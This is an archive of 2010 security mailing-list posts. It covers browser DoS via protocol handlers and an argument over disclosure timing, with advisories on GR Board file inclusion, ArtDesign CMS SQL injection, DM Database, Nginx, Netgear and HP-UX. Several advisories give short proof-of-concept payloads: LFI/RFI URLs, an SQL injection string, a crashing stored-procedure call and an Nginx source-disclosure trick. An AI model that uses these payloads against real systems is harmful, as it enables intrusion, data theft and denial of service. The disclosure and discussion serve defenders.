Re: DoS vulnerabilities in Firefox, Internet Explorer, Chrome and Opera
Hello Susan and other readers, who replied to my previous advisory. Earlier I've already answered Vladimir, now I'd answer Susan and soon I'd answer John. But now one important note to every reader of the list, including John Smith. Which I already wrote about 1,5 week ago (after posting of a first advisory about DoS in browsers) to one reader of Full-disclosure who inattentively read that advisory (he missed message about attacking without JS) and also to Mozilla (who became discussing this issue and only drew attention to attacking with JS vector). That, as I wrote in both advisories, this attack via iframes can also be conducted without JavaScript. So even turning JS off will not help. Due to advantages of JS exploit for these vulnerabilities over non-JS exploit, I wrote JavaScript exploits for these advisories and I'd write for future advisories (but I'd be reminding about possibility of attacking without JS). But soon I'll present one exploit also in "pure-iframe" version (without JS) for Internet Explorer and other applications - in case when small amount of iframes lead to crash. Thank you. Now if you could wait for patches before disclosing I'd be even happier. Susan, you are welcome. I would be happy to wait for patches of browser vendors, but as already told you in details, it's not possible due to behavior of browser vendors. All they mostly ignore such holes, all they don't count DoS as vulnerabilities, they called them "stability issues" and so don't attend to them seriously (and not fixing or fixing slowly). I don't respect such statement as "stability issues" for DoS holes, and during 2008-2010 I worked hard to change vendors' mind on this issue, but they still ignore it. Also, as I already told you, they never told if they fixed or not such holes (especially taking into account that they almost always ignore my letters with such holes or, as Opera did few times, answering with "it's stability issues" statement). So I have no possibility to know from them if they fixed it or not - and because they don't care about such issues (ignoring them or calling them stability issues), they never mentioned about them in vendors advisories. Only one time Microsoft informed me about fixing DoS hole in Outlook - even they called it stability issue they informed me after they released a patch for it (which was serious approach, but not Microsoft for IE, nor other vendors use such approach for DoS holes in browsers). But take into account that I informed (at 26.05.2010) all four browser vendors about many vulnerabilities, which I'll disclose in the future. So they are informed for long time in advance :-). And so you have no need to worry, because with every day they become more and more "informed long time ago" and have more and more days to fix these holes. Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua - Original Message - From: "Susan Bradley" To: "MustLive" Cc: Sent: Friday, May 28, 2010 7:06 PM Subject: Re: [Suspected Spam]DoS vulnerabilities in Firefox, Internet Explorer, Chrome and Opera Thank you. Now if you could wait for patches before disclosing I'd be even happier. MustLive wrote: Hello Bugtraq! I want to warn you about security vulnerability in different browsers. - Advisory: DoS vulnerabilities in Firefox, Internet Explorer, Chrome and Opera - URL: http://websecurity.com.ua/4238/ - Affected products: Mozilla Firefox, Internet Explorer 6, Internet Explorer 8, Google Chrome, Opera. - Timeline: 26.05.2010 - found vulnerabilities. 26.05.2010 - informed developers: Mozilla, Microsoft, Google and Opera. Susan Bradley must be happy :-). 27.05.2010 - disclosed at my site. - Details: After publication of previous vulnerabilities in different browsers, I continued my researches and found many new vulnerabilities in browsers, which I called by general name DoS via protocol handlers, to which belonged and previous DoS attack via mailto handler. Now I'm informing about DoS in different browsers via protocols news and nntp. These Denial of Service vulnerabilities belongs to type (http://websecurity.com.ua/2550/) blocking DoS and resources consumption DoS. These attacks can be conducted as with using JS, as without it (via creating of page with large quantity of iframes). DoS: http://websecurity.com.ua/uploads/2010/Firefox,%20IE,%20Chrome%20&%20Opera%20DoS%20Exploit2.html This exploit for news protocol works in Mozilla Firefox 3.0.19 (and besides previous versions, it must work in 3.5.x and 3.6.x), Internet Explorer 6 (6.0.2900.2180), Internet Explorer 8 (8.0.7600.16385), Google Chrome 1.0.154.48 and Opera 9.52. In all mentioned browsers occurs blocking and overloading of the system from starting of Opera, which appeared as news-client at my computer, and IE8 crashes (at compu
Re: Nginx 0.8.35 Space Character Remote Source Disclosure
what about the stable branch? Versions 0.7.65 and earlier?
GR Board v1.8.6. (theme) Local File Inclusion Vulnerability
===
GR Board v1.8.6. (theme) Local File Inclusion Vulnerability
===
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \__ /'__`\/\ \__ /'__`\ 0
0 /\_, \___ /\_\/\_\ \ \___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \/\ \\\ \__\\ \/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \// \/__/ \/___/ \/_/ 1
1 \ \/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.)1
1 1
0 [+] Site: Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com1
0 0
1 1
0I'm eidelweiss member from Inj3ct0r Team 1
1 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
download: http://sirini.net/grboard/board.php?id=grskin&articleNo=82
Author: eidelweiss
Contact:g1xsystem[at]windowslive.com
=
Description:
GRBoard (VERSION 1.8 )is bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
But I find Remote File Inclusion vulnerability.
=
--=[ Vuln C0de ]=-
[-] path/page.php
-
// ? ??? ?? ???
$getConfigList = array('theme', 'title', 'logo', 'useOutlogin', 'outlogin',
'usePoll', 'poll'); // <= 1
$countList = count($getConfigList); // <= 2
for($i=0; $i<$countList; $i++) $config[$getConfigList[$i]] =
getVar($getConfigList[$i]);
$content = @mysql_fetch_array(mysql_query('select var from
'.$dbFIX.'layout_config where opt = \'page\' and var like
\''.$_GET['id'].'|%\'')); // <= 3
$content = str_replace($_GET['id'].'|', '', $content['var']);
$path = 'layout/'.$config['theme'];
include 'layout/'.$config['theme'].'/head.page.php';//
?>
-
-=[ P0C ]=-
http://127.0.0.1/path/page.php?theme= [LFI]%00
=| -=[ E0F ]=- |=
Re: Re[4]: DoS vulnerabilities in Firefox, Internet Explorer, Chrome, Opera and other browsers
Hi Vladimir,
Thanks for your views.
I was carried away because the author used scripts (in a global script tag)
in the PoC of the issue in question which made unconditional recursion
possible.
Without scripts enabled, if iframe's src property is set to itself(?), it is
parsed upto 1 level (i.e. not recursed). Hence it doesn't affect or DoS the
latest browsers (the best I can say...).
A few other points:
1. if a links/ads or any other content-syndication provider allow unverified
javascript to be served, DoS would be the least of the concern (read: it’s
the breeding ground of XSS exploits)
2. I more than agree that an issue to be classified as a security
vulnerability if a combination of tags/properties/scripts causes or is
capable of causing malice in any form while conforming to the standards
(which isn't the case here).
3. Just to reiterate my earlier post, DoS is more of an annoyance than
malice. If the issue noted in this context DoS by a form of unconditional
recursion (or infinite loop) to create 'out of memory' or stack overflow
sortof situation (though modern uri handlers handle it gracefully) but
requires a task kill operation on the script engine's host (the browser in
this context).
Sadly, there're too many known unknowns to the #2 above which involves the
support of non-standard techniques like Anti-Phishing Working
Group/SmartScreen filter etc which doesn't attempt to or can be absolutely
100% fool-proof...
Best Regards,
w
PS: Lets put IE6 out of context, I'm not sure why it is still brought up or
why it's still used, because it’s a browser from the times when the first
ancestor of Firefox (Phoenix) didn't exist. Yes, its that ancient! :)
--
From: "Vladimir '3APA3A' Dubrovin" <3ap...@security.nnov.ru>
Sent: Saturday, May 29, 2010 2:05 AM
To: "John Smith"
Cc: "MustLive" ; "Susan Bradley"
;
Subject: Re[4]: DoS vulnerabilities in Firefox, Internet Explorer, Chrome,
Opera and other browsers
Dear John Smith,
In general case we are discussing, DoS may be caused by e.g. some
combination of allowed tags/properties or by malformed image.
As it was pointed by author, this attack may be performed with
scripting disabled (with [iframe src=]). That's why e-mail vector may
be significant.
--Friday, May 28, 2010, 11:55:28 PM, you wrote to 3ap...@security.nnov.ru:
JS> Point taken. But that'd be a non-issue on the browser's end as much as
JS> site's that is allowing the rogue scripts (or malformed ads, as per
your
JS> example).
JS> The fork of this mail thread clearly explains what I'm talking about.
The
JS> issue noted there is a simple DoS attack which every programming
language
JS> and platform is vulnerable too. Its called the "infinite loop". It is
not a
JS> 'security vulnerability' by itself and is completely agnostic of the
uri
JS> handler (try http or anything instead of nntp).
JS> Here's the simplified JS version of it (lets call it the Universal
DoS --
JS> yes, it'd work for every browser on the planet that can execute JS) -
JS>
JS> while(1)alert('hello world');
JS>
JS> Done!
JS> Workaround:
JS> None very intuitive. Maybe allow the user to terminate the script at
every
JS> iteration? specific time period? etc...
JS> --
JS> From: "Vladimir '3APA3A' Dubrovin" <3ap...@security.nnov.ru>
JS> Sent: Friday, May 28, 2010 11:47 PM
JS> To: "John Smith"
JS> Cc: "MustLive" ; "Susan Bradley"
JS> ;
JS> Subject: Re[2]: DoS vulnerabilities in Firefox, Internet Explorer,
Chrome,
JS> Opera and other browsers
Dear John Smith,
Actually, browser DoS may be quite serious vulnerability, depending on
nature of DoS. Think about e.g. banner or content exchange network,
social networks, web boards, etc where browser vulnerability may be
used against site or page because it will harm any visitors of this
site or page.
In case of this very vulnerability, most serious impact may be from
e-mail vector.
--Friday, May 28, 2010, 7:07:50 PM, you wrote to
mustl...@websecurity.com.ua:
JS> Just a few cents - DoS in webbrowsers doesn't fall under the
category
of
JS> "vulnerabilities" rather more of "annoyances". Although I don't deny
the
JS> fact that certain DoS attacks *may lead* or *may serve as hints* to
other
JS> more serious exploits, but that's a different topic and with ASLR in
the
JS> scene, a very grey area of discussion.
--
Skype: Vladimir.Dubrovin
~/ZARAZA http://securityvulns.com/
Стреляя во второй раз, он искалечил постороннего. Посторонним был я.
(Твен)
--
Skype: Vladimir.Dubrovin
~/ZARAZA http://securityvulns.com/
Машина оказалась способной к единственному действию,
а именно умножению 2x2, да и то при этом ошибаясь. (Лем)
DM Database Server Memory Corruption Vulnerability
DM Database Server Memory Corruption Vulnerability
Vulnerable: All Version
Vendor: www.dameng.com
Discovered by: Shennan Wang (HuaweiSymantec SRT)
Details:
=
A vulnerability in DM Database Server all version allows attacker to execute
arbitrary code or cause a DoS (Denial of
Service).Authentication is required to exploit this vulnerability.
The specific flaw exists within the SP_DEL_BAK_EXPIRED procedure.
POC:
=
CALL SP_DEL_BAK_EXPIRED('', '');
(458.5fc): Access violation - code c005 (!!! second chance !!!)
eax= ebx=02d3d430 ecx= edx=074ecfd0 esi=074ed37c edi=041c
eip=100d1753 esp=074eccec ebp=074ed1fc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs= efl=00010246
*** WARNING: Unable to verify checksum for C:\dmdbms\bin\wdm_dll.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\dmdbms\bin\wdm_dll.dll -
wdm_dll+0xd1753:
100d1753 f2aerepne scas byte ptr es:[edi]
0:009> da ebp
074ed1fc ""
Timeline:
2010.04.17 Report to vendor,no response.
2010.05.31 Public
Re: Ghostscript 8.64 executes random code at startup
Someone pointed out that even with -P-, gs will read gs_init.ps from current directory: http://bugs.ghostscript.com/show_bug.cgi?id=691350 Still, they do not regard this with any urgency. I also see no -P- and no absolute paths for the ps files mentioned in many "gs scripts" e.g. /usr/bin/pdf2dsc or /usr/bin/ps2ascii . Also, crappy coding for "GS_EXECUTABLE=gs". Am not sure if these are "originally gs" or "Debian special". Cheers, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
IS-2010-001 - Netgear WG602v4 Saved Pass Stack Overflow
Security Advisory IS-2010-001 - Netgear WG602v4 Saved Pass Stack Overflow Advisory Information Published: 2010-05-30 Updated: 2009-05-30 Manufacturer: Netgear Model: WG602v4 Firmware version: V1.1.0 (Europe) Vulnerability Details - Class: Buffer Overflow Code Execution: Yes Public References: Not Assigned Successfully tested on: Netgear WG602v4 loaded with firmware version 1.1.0 (Europe) Other models and/or firmware versions may be also affected. Summary: A stack based buffer overflow can be triggered by choosing an overly long admin password. Details: A buffer overflow condition can be triggered during the authentication process to the device web interface. Such process is handled by function auth_authorize(), where password saved in flash memory is used for validating submitted credentials, and is copied into a fixed size buffer on the stack, without performing any length check. Buffer overflow can be triggered by saving an admin password longer than 128 characters and occurs at each authentication attempt before the submitted credentials are validated, potentially allowing for unauthenticated remote exploitation. But, valid credentials are required in order to change administrator password and save it in flash memory, hence, for vulnerability exploitation. Password can be changed via a dedicated web page on the management interface: client side restrictions present on on the password lenght can be easily bypassed by an attacker. Impact: Remote code execution with root level privileges. Solutions & Workaround: Not available Additional Information - Available at http://www.icysilence.org
GR Board v1.8.6.1 stab (page.php?theme) Remote File Inclusion Vulnerability
GR Board v1.8.6.1 stab (page.php?theme) Remote File Inclusion Vulnerability
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \__ /'__`\/\ \__ /'__`\ 0
0 /\_, \___ /\_\/\_\ \ \___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \/\ \\\ \__\\ \/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \// \/__/ \/___/ \/_/ 1
1 \ \/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.)1
1 1
0 [+] Site: Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com1
0 0
1 1
0I'm eidelweiss member from Inj3ct0r Team 1
1 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
download: http://sirini.net/grboard/board.php?id=grskin&articleNo=82
Author: eidelweiss
Contact:g1xsystem[at]windowslive.com
=
Description:
GRBoard (VERSION 1.8 )is bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
But I find Remote File Inclusion vulnerability.
=
--=[ Vuln C0de ]=-
[-] path/page.php
-
// 페이지에서 사용할
변수 부르기
$getConfigList = array('theme', 'title', 'logo', 'useOutlogin', 'outlogin',
'usePoll', 'poll');
$countList = count($getConfigList);
for($i=0; $i<$countList; $i++) $config[$getConfigList[$i]] =
getVar($getConfigList[$i]);
$content = @mysql_fetch_array(mysql_query('select var from
'.$dbFIX.'layout_config where opt = \'page\' and var like
\''.$_GET['id'].'|%\''));
$content = str_replace($_GET['id'].'|', '', $content['var']);
$path = 'layout/'.$config['theme'];
include 'layout/'.$config['theme'].'/head.page.php';// <= 1
?>
-
-=[ P0C ]=-
http://127.0.0.1/path/page.php?theme= [inj3ct0r sh3ll]
=| -=[ E0F ]=- |=
[Suspected Spam]Vulnerability in ArtDesign CMS
Hello Bugtraq! I want to warn you about security vulnerability in ArtDesign CMS. It's Ukrainian commercial CMS. - Advisory: Vulnerability in ArtDesign CMS - URL: http://websecurity.com.ua/4035/ - Affected products: ArtDesign CMS. - Timeline: 17.09.2009 - found vulnerability. 15.03.2010 - announced at my site. 16.03.2010 - informed developers. 28.05.2010 - disclosed at my site. - Details: This is SQL Injection vulnerability. SQL Injection: http://site/news.php?ch=id&id=-1'%20or%20version()=5/* Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua
[security bulletin] HPSBUX02523 SSRT100036 rev.2 - HP-UX Running ONCplus rpc.pcnfsd, Remote Denial of Service (DoS), Increase in Privilege
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c02115103 Version: 2 HPSBUX02523 SSRT100036 rev.2 - HP-UX Running ONCplus rpc.pcnfsd, Remote Denial of Service (DoS), Increase in Privilege NOTICE: The information in this Security Bulletin should be acted upon as soon as possible. Release Date: 2010-05-18 Last Updated: 2010-05-28 Potential Security Impact: Remote Denial of Service (DoS), increase of privilege. Source: Hewlett-Packard Company, HP Software Security Response Team VULNERABILITY SUMMARY A potential security vulnerability has been identified with the NFS/ONCplus rpc.pcnfsd component running on HP-UX. The vulnerability could result in a remote Denial of Service (DoS) and increase in privilege. References: CVE-2010-1039 SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. rpc.pcnfsd component of NFS / ONCplus version B.11.31_09 or previous running on HP-UX B.11.11, B.11.23, and B.11.31 BACKGROUND CVSS 2.0 Base Metrics === Reference Base Vector Base Score CVE-2010-1039(AV:N/AC:L/Au:N/C:C/I:C/A:C) 10.0 === Information on CVSS is documented in HP Customer Notice: HPSN-2008-002 The Hewlett-Packard Company thanks Rodrigo Rubira Branco from the Check Point Vulnerability Discovery Team (VDT) for reporting this vulnerability to security-al...@hp.com RESOLUTION HP has provided an upgrade to resolve this vulnerability. This upgrade is available from the following location URL http://software.hp.com/portal/swdepot/displayProductInfo.do?productNumber=ONCplus The patches are available from http://itrc.hp.com HP-UX Release / Depot name B.11.11 / PHNE_41023 or subsequent B.11.23 / PHNE_41021 or subsequent B.11.31 / Install ONCplus_B.11.31.09.01.depot or subsequent MANUAL ACTIONS: Yes - NonUpdate HP-UX B.11.11 install PHNE_41023 HP-UX B.11.23 install PHNE_41021 HP-UX B.11.31 install ONCplus_B.11.31.09.01.depot PRODUCT SPECIFIC INFORMATION HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see: https://www.hp.com/go/swa The following text is for use by the HP-UX Software Assistant. AFFECTED VERSIONS HP-UX B.11.11 == NFS.KEY-CORE NFS.NFS-64ALIB NFS.NFS-64SLIB NFS.NFS-CLIENT NFS.NFS-CORE NFS.NFS-PRG NFS.NFS-SERVER NFS.NFS-SHLIBS NFS.NIS-CLIENT NFS.NIS-CORE NFS.NIS-SERVER NFS.NISPLUS-CORE NFS.NFS-KRN action: install PHNE_41023 or subsequent HP-UX B.11.23 == NFS.NFS-CLIENT NFS.NFS-KRN NFS.NFS2-CORE NFS.NFS2-PRG NFS.NFS2-SERVER action: install PHNE_41021 or subsequent HP-UX B.11.31 == NFS.KEY-CORE NFS.NFS-64ALIB NFS.NFS-64SLIB NFS.NFS-CLIENT NFS.NFS-CORE NFS.NFS-KRN NFS.NFS-PRG NFS.NFS-SERVER NFS.NFS-SHLIBS NFS.NFS2-CLIENT NFS.NFS2-CORE NFS.NFS2-PRG NFS.NFS2-SERVER NFS.NIS-CLIENT NFS.NIS-CORE NFS.NIS-SERVER NFS.NIS2-CLIENT NFS.NIS2-CORE NFS.NIS2-SERVER action: install revision ONCplus B.11.31.09.01 or subsequent END AFFECTED VERSIONS HISTORY Version:1 (rev.1) 18 May 2010 Initial release Version:2 (rev.2) 28 May 2010 Updated title, affected software description and summary Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy. Support: For further information, contact normal HP Services support channel. Report: To report a potential security vulnerability with any HP supported product, send Email to: security-al...@hp.com It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information. To get the security-alert PGP key, please send an e-mail message as follows: To: security-al...@hp.com Subject: get key Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email: http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC On the web page: ITRC security bulletins and patch sign-up Under Step1: your ITRC security bulletins and patches -check ALL categories for which alerts are required and continue. Under Step2: your ITRC operating systems -verify your operating system selections are checked and save. To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php Log in on the web page: Subscriber's choice for Business: sign-in. On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections. To review previously published Security Bulletins vi
Nginx 0.8.35 Space Character Remote Source Disclosure
# # Securitylab.ir # # Application Info: # Name: Nginx # Tested on nginx 0.8.35 # Nginx 0.8.36 and higher is not vulnerable # # Vulnerability Info: # Type: Remote File Disclosure # Risk: High # # Vulnerability: # http://localhost/file.php%20 # # Discoverd By: Pouya Daneshmand # Website: http://Pouya.Securitylab.ir # Contacts: whh_iran[at]securitylab.ir & i...@securitylab[dot]ir ###
Re[4]: DoS vulnerabilities in Firefox, Internet Explorer, Chrome, Opera and other browsers
Dear John Smith,
In general case we are discussing, DoS may be caused by e.g. some
combination of allowed tags/properties or by malformed image.
As it was pointed by author, this attack may be performed with
scripting disabled (with [iframe src=]). That's why e-mail vector may
be significant.
--Friday, May 28, 2010, 11:55:28 PM, you wrote to 3ap...@security.nnov.ru:
JS> Point taken. But that'd be a non-issue on the browser's end as much as
JS> site's that is allowing the rogue scripts (or malformed ads, as per your
JS> example).
JS> The fork of this mail thread clearly explains what I'm talking about. The
JS> issue noted there is a simple DoS attack which every programming language
JS> and platform is vulnerable too. Its called the "infinite loop". It is not a
JS> 'security vulnerability' by itself and is completely agnostic of the uri
JS> handler (try http or anything instead of nntp).
JS> Here's the simplified JS version of it (lets call it the Universal DoS --
JS> yes, it'd work for every browser on the planet that can execute JS) -
JS>
JS> while(1)alert('hello world');
JS>
JS> Done!
JS> Workaround:
JS> None very intuitive. Maybe allow the user to terminate the script at every
JS> iteration? specific time period? etc...
JS> --
JS> From: "Vladimir '3APA3A' Dubrovin" <3ap...@security.nnov.ru>
JS> Sent: Friday, May 28, 2010 11:47 PM
JS> To: "John Smith"
JS> Cc: "MustLive" ; "Susan Bradley"
JS> ;
JS> Subject: Re[2]: DoS vulnerabilities in Firefox, Internet Explorer, Chrome,
JS> Opera and other browsers
>> Dear John Smith,
>>
>> Actually, browser DoS may be quite serious vulnerability, depending on
>> nature of DoS. Think about e.g. banner or content exchange network,
>> social networks, web boards, etc where browser vulnerability may be
>> used against site or page because it will harm any visitors of this
>> site or page.
>>
>> In case of this very vulnerability, most serious impact may be from
>> e-mail vector.
>>
>> --Friday, May 28, 2010, 7:07:50 PM, you wrote to
>> mustl...@websecurity.com.ua:
>>
>> JS> Just a few cents - DoS in webbrowsers doesn't fall under the category
>> of
>> JS> "vulnerabilities" rather more of "annoyances". Although I don't deny
>> the
>> JS> fact that certain DoS attacks *may lead* or *may serve as hints* to
>> other
>> JS> more serious exploits, but that's a different topic and with ASLR in
>> the
>> JS> scene, a very grey area of discussion.
>>
>>
>>
>> --
>> Skype: Vladimir.Dubrovin
>> ~/ZARAZA http://securityvulns.com/
>> Стреляя во второй раз, он искалечил постороннего. Посторонним был я.
>> (Твен)
>>
>>
--
Skype: Vladimir.Dubrovin
~/ZARAZA http://securityvulns.com/
Машина оказалась способной к единственному действию,
а именно умножению 2x2, да и то при этом ошибаясь. (Лем)
